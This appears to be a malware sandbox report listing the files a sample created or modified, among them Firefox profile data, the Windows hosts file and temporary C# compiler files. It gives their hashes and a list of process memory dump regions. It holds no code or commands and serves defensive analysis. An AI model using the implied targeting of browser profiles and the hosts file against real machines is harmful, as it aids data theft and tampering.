C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\otijbhkb.default-release\datareporting\glean\pending_pings\67f22d80-1092-4815-96dc-ff139ce780b9

Filesize
1KB

MD5
f9f0c32953f59a8db016887321bc5eec

SHA1
5d0c2ba5f2843c572f3b7ca35624d54fd9970c20

SHA256
5584e06218878966eb2930240cae718be44d12fe4a4a4d3fc316e3972a3a7714

SHA512
465768ac8357d9ce20910cb3a694bf5376d296559698b816b2a607e0af1761c9875473af92b7b21b219bef7c478a43c4eab2c43bb6b7c790aa67ea10be4de04c

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\otijbhkb.default-release\datareporting\glean\pending_pings\89e80f5b-cd50-456b-8906-bd077e217f01

Filesize
25KB

MD5
a446f99ed011dfd5a1a79432d6230004

SHA1
916cdc27b1b903f94a11484b89994a7f590cabfe

SHA256
48b055784a8c27c788c48363debbbdbc3f3adc6be24be840f5adbd12d1bfadd7

SHA512
e42e3f11daa9e0560fa5136326c986892432864040163daf65a8c3185836313147be60910838d0bdc8413ac835331dacc63992a66b8893bcf1be97e61ea7f577

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\otijbhkb.default-release\datareporting\glean\pending_pings\ba8bf40a-ab79-4156-b7c9-5fc8717443db

Filesize
765B

MD5
189386b8076cff1491bafefe7eebb0da

SHA1
39a2b0bbb7a4f6df8a913f35d208490974355d45

SHA256
cf071f27e64924d42624a3892331c4aae13f29a1edaa1f149b9aca994cd5767f

SHA512
e63fb16b37b5e7cd500219a4d381458cc89340b06e6904aa60457750f97698a07397297bdb226507eb5903218fa0e30048b163de517c0308662de050804ca409

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\otijbhkb.default-release\datareporting\glean\pending_pings\cd5fd1a9-87a6-4baa-b4f4-38010cddd201

Filesize
734B

MD5
b1362847dbec08d544b81fe5f6ce6ada

SHA1
de4ddc6740cb826ea506856cc479645638f43f2a

SHA256
6b78bdfc128f1008d5d3330cb6b48d255e3bd70a1505b0f850306575c5d1a5ee

SHA512
a8806705bc938295c76df4b38d438602d57ec90e7e9190a451b6bedc67ce91cddf0f6e634463f94e950b830c1e84aa4f5ce46a64e1d9f54c620d6ccc9f4a6bf5

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\otijbhkb.default-release\datareporting\glean\pending_pings\cf89f64d-f932-4ce4-9e62-88991847d634

Filesize
982B

MD5
7cc7dbcd6333fe5444467eda99b8b1e7

SHA1
fdce76a785939ba348598d93371f4429ba2611aa

SHA256
aa42cb578016c5574e3fe6262c11f534d382cbe3d7ebc994e6319e572199613d

SHA512
a5afdd6c95db480adc0576b9df5fee85022d2b8c876e064bf5a2a44742b4476df6b9eca5d78c417a33a6e9278b646a44503869b4d01cc2ac195a307ff3878a74

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\otijbhkb.default-release\datareporting\glean\pending_pings\ddd9f032-01db-4a9a-83a3-ab5a2e88b8d6

Filesize
671B

MD5
069143b3e72b21118cbec44b79aba98d

SHA1
5b251ed66af972c656a64832e010843d473ccb1c

SHA256
7d4de2c585f7c7be9cd716f54c20405deecf027825d734efc77c2f64bd95db73

SHA512
20b04beb553d4db892e758735a5ddb33cac24549867c3e37ec445fd5a03d56cf072767df2579bca1aa6cb35d0354013c037d236e2845ede87e2511f70f20e0c8

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\otijbhkb.default-release\prefs-1.js

Filesize
10KB

MD5
fb07646b5300d9b89c87a9a53478e089

SHA1
d50446307a3c33cebc73ca48bb7ee7205433ba6b

SHA256
e434e8642c1f8a2313c769fa8ccb0293723b8076cf66d6ed7ae7b0aa42ca0dce

SHA512
a36923e6d1b797948eeff11da8a7018178683cad1dd3b273ef9506f9ef756ba75bd62744434bebb16ba75b1c09639733daee51ec764b84e0dbfa73e855cefb14

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\otijbhkb.default-release\prefs-1.js

Filesize
10KB

MD5
ea658668c57789417476788df70138f2

SHA1
3c0de7317ed03dfca37bafb6408bfdcdf53b731f

SHA256
71fe986045fb04f961771339305205ad73ccc0067385410eef018f37b970078e

SHA512
ac6a350c3f5b86d0b0dd6d6bc59a9fa922449f343eb3cb18a89484496203387c0d2947ca48fc47bb1d37ccbdddf25db069d8667caf87cb3394c22026202dd52b

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\otijbhkb.default-release\prefs.js

Filesize
10KB

MD5
751305d6c74ac0f906fad151dd6de357

SHA1
e75ca819dd1d0eac6377417f4173a04a31d0cc45

SHA256
560175b92e524cce7cc1117b49fc056dcb00bf77370b970b749e99c6f1bae84b

SHA512
0a0815ad48b46f52e9579ba73b579bf436af9096c8e358d8ec61ae525a34e3a30237e65ee7926cd9bcd2a8a447f235b725bc5b55bc2169b3063c5593fbd58864

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\otijbhkb.default-release\sessionCheckpoints.json

Filesize
122B

MD5
99601438ae1349b653fcd00278943f90

SHA1
8958d05e9362f6f0f3b616f7bfd0aeb5d37967c9

SHA256
72d74b596f7fc079d15431b51ce565a6465a40f5897682a94a3f1dd19b07959a

SHA512
ffa863d5d6af4a48aadc5c92df4781d3aacbf5d91b43b5e68569952ffec513ff95655b3e54c2161fe27d2274dd4778bad517c7a3972f206381ef292808628c55

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\otijbhkb.default-release\sessionCheckpoints.json

Filesize
90B

MD5
c4ab2ee59ca41b6d6a6ea911f35bdc00

SHA1
5942cd6505fc8a9daba403b082067e1cdefdfbc4

SHA256
00ad9799527c3fd21f3a85012565eae817490f3e0d417413bf9567bb5909f6a2

SHA512
71ea16900479e6af161e0aad08c8d1e9ded5868a8d848e7647272f3002e2f2013e16382b677abe3c6f17792a26293b9e27ec78e16f00bd24ba3d21072bd1cae2

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\otijbhkb.default-release\sessionCheckpoints.json

Filesize
146B

MD5
65690c43c42921410ec8043e34f09079

SHA1
362add4dbd0c978ae222a354a4e8d35563da14b4

SHA256
7343d5a46e2fca762305a4f85c45484a49c1607ede8e8c4bd12bedd2327edb8d

SHA512
c0208d51cf1586e75f22764b82c48ecbb42c1ff54aa412a85af13d686e0119b4e49e98450d25c70e3792d3b9c2cda0c5ab0c6931ebaf548693bb970a35ae62b9

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\otijbhkb.default-release\sessionCheckpoints.json

Filesize
53B

MD5
ea8b62857dfdbd3d0be7d7e4a954ec9a

SHA1
b43bc4b3ea206a02ef8f63d5bfad0c96bf2a3b2a

SHA256
792955295ae9c382986222c6731c5870bd0e921e7f7e34cc4615f5cd67f225da

SHA512
076ee83534f42563046d25086166f82e1a3ec61840c113aec67abe2d8195daa247d827d0c54e7e8f8a1bbf2d082a3763577587e84342ec160ff97905243e6d19

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\otijbhkb.default-release\sessionCheckpoints.json.tmp

Filesize
288B

MD5
948a7403e323297c6bb8a5c791b42866

SHA1
88a555717e8a4a33eccfb7d47a2a4aa31038f9c0

SHA256
2fca1f29b73dd5b4159fa1eb16e69276482f5224ba7d2219a547039129a51f0e

SHA512
17e2f65c33f47c8bb4beca31db2aff3d4bbb6c2d36924057f9f847e207bdcb85ffcbb32c80dd06862ffc9b7f0bd3f5e2e65b48bb1bc3363732751101d5596b1a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\otijbhkb.default-release\sessionstore-backups\recovery.baklz4

Filesize
1KB

MD5
79db22bc5fb84404b67a8be8d7469e64

SHA1
71a058921c2bea109a86af5b44688ab421ef2a8a

SHA256
9eb4004a8e11585b1656846f40203745081039f1841ed8f53eceb00f0db18a8d

SHA512
b5aef0d27119c53962d8644ce4181ba6e1e46c7d1f0296251de7ef1c6416dfebeb455b8581b97fb35b0f73317580da8eb6e0fb7d5b2dae1819ad81a3d6f3bf65

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
f99e42cdd8b2f9f1a3c062fe9cf6e131

SHA1
e32bdcab8da0e3cdafb6e3876763cee002ab7307

SHA256
a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

SHA512
c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uug1clrp\CSC7CD17B6465C478EB0D2CD8D986085FF.TMP

Filesize
652B

MD5
f3deabae23db44dec5a5fe07dc6e2599

SHA1
06da7e6500b974dcc50541a64be9dd371acd6d6a

SHA256
60a79d9e38d2ef20b4a1e6fcfde11dbc1d8f1e8e834350c93f94b0dcf979bbfb

SHA512
ef09cdfbdc2bb87d9479a6ce0f86f4b24d0580295dd95d05ad028dd397a2e7b2d0bcc2cf62cf5f9b187329086d59b86db4bdd569b75bd07093627cdf972adf31

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uug1clrp\uug1clrp.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uug1clrp\uug1clrp.cmdline

Filesize
607B

MD5
b85d08a8aebf97b4096eae51bddcd55b

SHA1
871af335b0ff873203e80e6f0bebdf70e3f1b7f4

SHA256
7cb78d401cb19ae788eea653b7a62c4f9b46e1bcf8ad69ff218045797d7e8db5

SHA512
6127f3533639a0ccf22fbbecd218c398f80cd0e243d8d53468d424a38f0ec47499c866ad06c4c64da38d8b60d8287fbe97252effc9fb04ebb1160ab1f4bb7c09

Download Submit
memory/1000-269-0x000001DBD3400000-0x000001DBD3408000-memory.dmp

Filesize
32KB

Download
memory/2240-103-0x000001AC3F2C0000-0x000001AC3F30A000-memory.dmp

Filesize
296KB

Download
memory/2240-102-0x000001AC3F3D0000-0x000001AC3F4D2000-memory.dmp

Filesize
1.0MB

Download
memory/2240-82-0x000001AC24C20000-0x000001AC24C42000-memory.dmp

Filesize
136KB

Download
memory/2240-81-0x000001AC3F130000-0x000001AC3F1B2000-memory.dmp

Filesize
520KB

Download
memory/2796-1140-0x00007FFAD45D0000-0x00007FFAD45ED000-memory.dmp

Filesize
116KB

Download
memory/2796-1141-0x00007FFAD45B0000-0x00007FFAD45C1000-memory.dmp

Filesize
68KB

Download
memory/2796-1149-0x00007FFAD40D0000-0x00007FFAD40E1000-memory.dmp

Filesize
68KB

Download
memory/2796-1146-0x00007FFAD4510000-0x00007FFAD4528000-memory.dmp

Filesize
96KB

Download
memory/2796-1147-0x00007FFAD44F0000-0x00007FFAD4501000-memory.dmp

Filesize
68KB

Download
memory/2796-1142-0x00007FFAC4540000-0x00007FFAC474B000-memory.dmp

Filesize
2.0MB

Download
memory/2796-1136-0x00007FFAD5160000-0x00007FFAD5177000-memory.dmp

Filesize
92KB

Download
memory/2796-1137-0x00007FFAD5060000-0x00007FFAD5071000-memory.dmp

Filesize
68KB

Download
memory/2796-1138-0x00007FFAD5040000-0x00007FFAD5057000-memory.dmp

Filesize
92KB

Download
memory/2796-1139-0x00007FFAD4F20000-0x00007FFAD4F31000-memory.dmp

Filesize
68KB

Download
memory/2796-1134-0x00007FFAC4750000-0x00007FFAC4A06000-memory.dmp

Filesize
2.7MB

Download
memory/2796-1148-0x00007FFAD42C0000-0x00007FFAD42D1000-memory.dmp

Filesize
68KB

Download
memory/2796-1150-0x000001FE25890000-0x000001FE270FF000-memory.dmp

Filesize
24.4MB

Download
memory/2796-1135-0x00007FFADB4A0000-0x00007FFADB4B8000-memory.dmp

Filesize
96KB

Download
memory/2796-1133-0x00007FFAD51D0000-0x00007FFAD5204000-memory.dmp

Filesize
208KB

Download
memory/2796-1132-0x00007FF76FC50000-0x00007FF76FD48000-memory.dmp

Filesize
992KB

Download
memory/2796-1143-0x00007FFAC1EC0000-0x00007FFAC2F70000-memory.dmp

Filesize
16.7MB

Download
memory/2796-1145-0x00007FFAD4530000-0x00007FFAD4551000-memory.dmp

Filesize
132KB

Download
memory/2796-1144-0x00007FFAD4560000-0x00007FFAD45A1000-memory.dmp

Filesize
260KB

Download
memory/3868-104-0x000001B239010000-0x000001B23902E000-memory.dmp

Filesize
120KB

Download
memory/3868-92-0x000001B21E820000-0x000001B21E830000-memory.dmp

Filesize
64KB

Download
memory/4420-322-0x00007FFAC4190000-0x00007FFAC46C3000-memory.dmp

Filesize
5.2MB

Download
memory/4420-25-0x00007FFAC4850000-0x00007FFAC4EB3000-memory.dmp

Filesize
6.4MB

Download
memory/4420-74-0x00007FFAC4190000-0x00007FFAC46C3000-memory.dmp

Filesize
5.2MB

Download
memory/4420-73-0x00007FFADA440000-0x00007FFADA467000-memory.dmp

Filesize
156KB

Download
memory/4420-71-0x00007FFAD42B0000-0x00007FFAD437E000-memory.dmp

Filesize
824KB

Download
memory/4420-66-0x00007FFAC4850000-0x00007FFAC4EB3000-memory.dmp

Filesize
6.4MB

Download
memory/4420-68-0x00007FFAD5590000-0x00007FFAD55C4000-memory.dmp

Filesize
208KB

Download
memory/4420-359-0x00007FFAD42B0000-0x00007FFAD437E000-memory.dmp

Filesize
824KB

Download
memory/4420-63-0x00007FFAD55D0000-0x00007FFAD55E9000-memory.dmp

Filesize
100KB

Download
memory/4420-361-0x00007FFAD51F0000-0x00007FFAD5204000-memory.dmp

Filesize
80KB

Download
memory/4420-64-0x00007FFADA2A0000-0x00007FFADA2AD000-memory.dmp

Filesize
52KB

Download
memory/4420-362-0x00007FFAD5B70000-0x00007FFAD5B7D000-memory.dmp

Filesize
52KB

Download
memory/4420-363-0x00007FFAC3FE0000-0x00007FFAC4093000-memory.dmp

Filesize
716KB

Download
memory/4420-60-0x00007FFAC46D0000-0x00007FFAC484F000-memory.dmp

Filesize
1.5MB

Download
memory/4420-58-0x00007FFAD5150000-0x00007FFAD5175000-memory.dmp

Filesize
148KB

Download
memory/4420-56-0x00007FFADA1F0000-0x00007FFADA209000-memory.dmp

Filesize
100KB

Download
memory/4420-54-0x00007FFAD52A0000-0x00007FFAD52CB000-memory.dmp

Filesize
172KB

Download
memory/4420-48-0x00007FFADBFE0000-0x00007FFADBFEF000-memory.dmp

Filesize
60KB

Download
memory/4420-30-0x00007FFADA440000-0x00007FFADA467000-memory.dmp

Filesize
156KB

Download
memory/4420-364-0x00007FFADA2A0000-0x00007FFADA2AD000-memory.dmp

Filesize
52KB

Download
memory/4420-365-0x00007FFADA440000-0x00007FFADA467000-memory.dmp

Filesize
156KB

Download
memory/4420-72-0x00000205209D0000-0x0000020520F03000-memory.dmp

Filesize
5.2MB

Download
memory/4420-366-0x00007FFADBFE0000-0x00007FFADBFEF000-memory.dmp

Filesize
60KB

Download
memory/4420-367-0x00007FFAD52A0000-0x00007FFAD52CB000-memory.dmp

Filesize
172KB

Download
memory/4420-368-0x00007FFADA1F0000-0x00007FFADA209000-memory.dmp

Filesize
100KB

Download
memory/4420-370-0x00007FFAC46D0000-0x00007FFAC484F000-memory.dmp

Filesize
1.5MB

Download
memory/4420-371-0x00007FFAD55D0000-0x00007FFAD55E9000-memory.dmp

Filesize
100KB

Download
memory/4420-373-0x00007FFAC4190000-0x00007FFAC46C3000-memory.dmp

Filesize
5.2MB

Download
memory/4420-372-0x00007FFAC4850000-0x00007FFAC4EB3000-memory.dmp

Filesize
6.4MB

Download
memory/4420-369-0x00007FFAD5150000-0x00007FFAD5175000-memory.dmp

Filesize
148KB

Download
memory/4420-358-0x00007FFAD5590000-0x00007FFAD55C4000-memory.dmp

Filesize
208KB

Download
memory/4420-340-0x00007FFAC46D0000-0x00007FFAC484F000-memory.dmp

Filesize
1.5MB

Download
memory/4420-334-0x00007FFAC4850000-0x00007FFAC4EB3000-memory.dmp

Filesize
6.4MB

Download
memory/4420-311-0x00000205209D0000-0x0000020520F03000-memory.dmp

Filesize
5.2MB

Download
memory/4420-78-0x00007FFAD5B70000-0x00007FFAD5B7D000-memory.dmp

Filesize
52KB

Download
memory/4420-77-0x00007FFAD51F0000-0x00007FFAD5204000-memory.dmp

Filesize
80KB

Download
memory/4420-80-0x00007FFAC3FE0000-0x00007FFAC4093000-memory.dmp

Filesize
716KB

Download
memory/4420-105-0x00007FFAD5150000-0x00007FFAD5175000-memory.dmp

Filesize
148KB

Download
memory/4420-122-0x00007FFAC46D0000-0x00007FFAC484F000-memory.dmp

Filesize
1.5MB

Download
memory/4420-296-0x00007FFAD42B0000-0x00007FFAD437E000-memory.dmp

Filesize
824KB

Download
memory/4420-258-0x00007FFAD5590000-0x00007FFAD55C4000-memory.dmp

Filesize
208KB

Download